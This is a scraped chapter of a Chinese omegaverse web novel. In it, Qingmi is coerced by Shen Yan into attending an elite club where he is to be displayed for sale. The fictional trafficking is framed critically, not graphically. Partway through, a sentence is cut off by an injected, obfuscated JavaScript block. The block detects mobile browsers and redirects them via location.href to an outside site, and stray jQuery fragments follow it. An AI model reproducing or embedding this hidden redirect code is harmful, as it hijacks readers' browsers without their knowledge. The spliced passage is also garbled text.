默认冷灰
24号文字
方正启体

21. 商品

作者:弋黎猕本书字数:K更新时间:
    夜幕落下,一天的忙碌再次结束。


    收整好白天使用过的器具,又一只一只给那些猫崽喂饱了肚子,清祢才顾得上收拾自己。


    浴室中热气萦绕,将瓷白的皮肤蒸腾出一层薄薄粉意,清祢披着浴袍从中走出,腰带松散的系在腰间,露出大片光景。


    以往都是使用淋浴冲洗,清祢今天难得想泡在浴缸中舒缓些许身体,谁知没一会儿,就被外面一通接一通的终端通话叫停了。


    他面色难得染上些不耐,双眉微微压下,朝着被放置在桌上的终端走去。


    本就不好的心情,在看到光屏通话上显示的账号姓名时,变得更差了。


    沉宴?他又有什么幺蛾子?


    本想挂掉,但望着上方一连串的未接通话,清祢还是点了接听。


    这样着急,只会是有大事发生了。


    而事实,的确与清祢所想的也差不了多少。


    “清祢?不管你现在在做什么,准备一下,我的人正在去接你的路上,待会儿跟着他们直接回沉家。”果然,接通的下一秒,不等清祢开口,那边的沉宴便直接不容拒绝的命令道。


    握着终端的手不禁一紧,清祢心中升起些抗拒,他无法忍受对方这种专制独裁的态度。


    挥之即来招之即去的模样,当他是什么听话的宠物吗。


    “你有什么事?”随着眉心皱的越发深,清祢语气并不算好的问对方。


    “清祢,你是在生气吗。”但另一边的沉宴显然不会为他解惑。


    他对着清祢轻笑一声,话语却是那般漠然:“没关系,你的确有生气的权力。但我以为你早该想明白了,你现在所拥有的,都需要付出什么代价来交换。”


    出笼的小鸟,出去放风几天,就心野的不想再遭受拘禁了。


    梦想啊,自由啊,他怎么会让清祢如此轻易的得到呢。


    清祢神色冷然,眸中布上了一层讥讽,唯有紊乱的呼吸,暴露了他情绪不稳的事实。


    “尽快收拾好自己,不然我不介意让他们亲自进去将你绑出来。”沉宴很少有这么耐心不足的时候,或者说是很少在清祢面前暴露过那么多的情绪。


    相比他依旧游刃有余威胁人的话语,不难听出,这人此刻更像是一只跳脚的狗,话里话外都透露着一股濒临爆发气急败坏的味道。


    清祢敏锐的感知到了,但这让他心底有些微妙的不安。


    毕竟自己与沉宴是被强绑住的一条绳上的蚂蚱,一荣俱荣一损俱损。


    清祢的一时沉默,得到了沉宴短暂的安抚,他放软了声音:“乖一些,你知道我不想那样做……你要学着擅长听话一些,我的好弟弟。”


    他的话似有意味,但暂时身为局外者的清祢难以察觉,他只是漠然的回答,应下了沉宴的要求。


    但今晚究竟有什么要紧事要发生,这种走向未知的不扎实感,让清祢变得有些惴惴不安。


    他换上了衣物,匆匆擦拭了一遍未干的头发,临走前又调了调那些猫崽的恒温窝温度,才离开居所朝校外走去。


    待清祢走出校门,沉宴安排的人早已经在那里等候了,见到清祢后无一不是谨言少语,在沉默着将清祢迎上车后,就是一路飞驰,车身疾速在道路上略过。


    车速太快,清祢不适的抓紧了安全带,面色有些发白。


    等到了地方,随着车门被打开,清祢难得扶住了侍者伸到面前的手臂,才稳住发软的身体。


    离开了许多天,这处庄园依旧是那副模样,在黑暗中亦是如此扎眼,像是一座为清祢敞开了大门的囚笼。


    “请跟我来。”一旁的侍者小心搀着人,似乎很着急,不等清祢平缓片刻,便开口催促道。


    顶着头脑略微的眩晕感,清祢深吸了口气,跟着他们往庄园内走去。


    侍者们恭敬的把清祢一路领到了里面,而方才与清祢通过电话的人,赫然就在厅内等候已久。


    “你来了。”


    看到了清祢的到来,沉宴眼中露出了温和的笑意,一如既往。


    他此刻一身矜贵考究的礼服,打扮的很正式。


    沉宴向一旁的侍者吩咐:“带他去换身礼服,速度快些。”


    听到礼服,清祢自然就联想到了宴会,但今晚这场明显毫无准备匆促的安排,一切都透露着无法掩饰的紧绷感,明晃晃彰显着眼下情境的突发性。


    一路上的时间,头发已经近乎干了,望着坐在镜前配合着做造型的清祢,沉宴从身后缓缓走近。


    他摸上清祢还带着些许湿意的头发,动作轻柔,像是在欣赏一只精致的人偶。


    清祢从镜中望着他,却看不清沉宴垂落半遮的眸中究竟有什么。


    “我们要去哪里。”清祢开口问他。


    “待会儿有个宴会,你和我一起去,那儿的世家贵族中的omega很多,不用过多慌张。”沉宴收回了手,让出地方,看着造型师上前去为清祢打理头发,他站在一侧,漫不经心的低头为清祢调整了下领结。


    他说的举重若轻,却迟迟不与镜中之人对上视线,哪怕清祢从始至终都在望着他,毫不收敛目光。


    唇瓣被晕染上一片唇彩,亮亮的,泛着莹润的光泽,与原本的颜色相近,却使得本该清浅颜色的唇,变得艳丽了几分。


    黑发搭在眉梢,映衬着瓷白的肌肤,清贵而夺艳,那几位造型师下手很克制,但眼尾一点灼丽的色彩,就足以让眼前人变得瞩目耀眼。


    衣物,首饰,配饰,一切都是华丽且昂贵,装点在这具被一点点精美包装起来的躯体上,像是一件等待拆解的礼物。


    沉宴注视着他,眸色有些沉沉,哪怕唇角含笑,却也无端显得阴鸷。


    他只是又回想起了两小时前接的那通电话。


    对方毋庸置疑的命令,起初沉宴试图与其周旋,但那人轻而易举就挑破了他一切自作聪明的伪装。


    他的弱点,所有的精心算计,居然如此不堪一击。


    自以为藏匿的完美无缺的毒蛇,被捏住七寸即将拔下毒牙时,才彻底认识到自己的愚蠢。


    清祢说的没错。


    他的确像是一只野狗,恶臭,贪婪,肮脏。


    只要能保住好不容易吃进肚子里的食物——权势,威望,金钱,甚至更多,只要不变得一无所有,把一个无辜的人拖下水又如何。


    他的确在心虚,所以不敢对上清祢的目光,但沉宴清楚的知道,他不可能为了一点突然升


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057749|194902||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起的无用道德感而停手。


    ......


    这次的目的地,是位于城市中心最繁华的地段。


    寸土寸金的中心地界,于普通人来说,连踏入此地都成了一种奢望。


    沉宴领着清祢,进入了那座层高到难以望到尽头的大厦之中。


    来往间皆是衣着贵态之人,却并没有想象之中宴会的那般热闹,在清祢悄然打量之时,有侍从上前来,接过了沉宴递过去的邀请函。


    “您请跟我来。”


    确认了身份后,他恭敬的朝沉宴弯下腰,面上露出一笑。


    奇怪的是,电梯内并不显示楼层,只是持续的上升着。


    沉宴一路上到现在,保持了许久的沉默,一旁的侍从脸上始终带着淡淡的微笑,极为怪异。


    沉寂在不断的蔓延,在无声的空间内,无故的令清祢产生了极大的不安感。


    他第一次主动伸手,拽紧了沉宴的衣袖。


    清祢仰头看向对方,一双眼眸干净而透彻,此刻却被无措填满,他再次开口问沉宴:“我们到底要去做什么?”


    闻言,沉宴依旧无动于衷,站在其身后的侍从却有些诧异的看了眼清祢。


    目光略过那副姿容上乘的样貌,此人眼中闪过一抹可惜。


    可怜,居然还是一个即将被卖掉了还不知情的omega。


    如果要用直白粗俗的话语来介绍,那么这里,就是一座专为上等人设立的高级私人会所,一个顶级权色交易场所。


    巨大而华丽的展示台,专供omega。


    恶心,荒谬,却始终存在,不受制衡。


    商品没有抗衡的权力,他们存在的唯一目的,就是为家族,为企业创造出巨大的价值。


    像清祢这样进了囚笼还毫不知情的,实在是少之又少。


    清祢清晰感受到了那道怜悯的目光,此刻面对沉宴冷漠的态度,他的心底泛起了前所未有的慌乱。


    手背上覆上了男人温热的掌心,这使得清祢不禁越发抓紧了对方的衣衫。


    沉宴终于看向他。


    “清祢,你要明白,这不是我的本意,只是在绝对的权势面前,我和你一样身不由己。”


    感受到掌心下微凉的温度,沉宴缓缓用力,将其抓在掌中,一根一根掰开了清祢紧拽不放的手指。


    他心底突然对自己感到嗤笑。


    都要把人推下地狱了,还在说着可笑的,为自己辩解的话语,这种时候了,依旧在试图维持自己体面温良的表象。


    清祢不解的望着他,脸色苍白的快要碎掉了:“你究竟在说什么?”


    什么身不由己,这种被逼无奈的模样,这样虚伪的令人作呕的姿态,沉宴到底是想要做什么?


    他被装扮的那样光鲜亮丽,柔软的发丝落在微红的眼尾,哪怕此刻惶恐的快要抓狂,也依旧如此惹人怜惜。


    沉宴彻底将那只手从衣袖上拂落。


    与此同时,持续上升的电梯终于停滞了,伴随着一道电子嘀嗒声的提示,两侧电梯门缓缓打开。


    “先生,您今晚带来的展品,就是这位omega吗?”侍从上前一步,面对两人此刻僵硬的氛围视若无睹,笑问道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)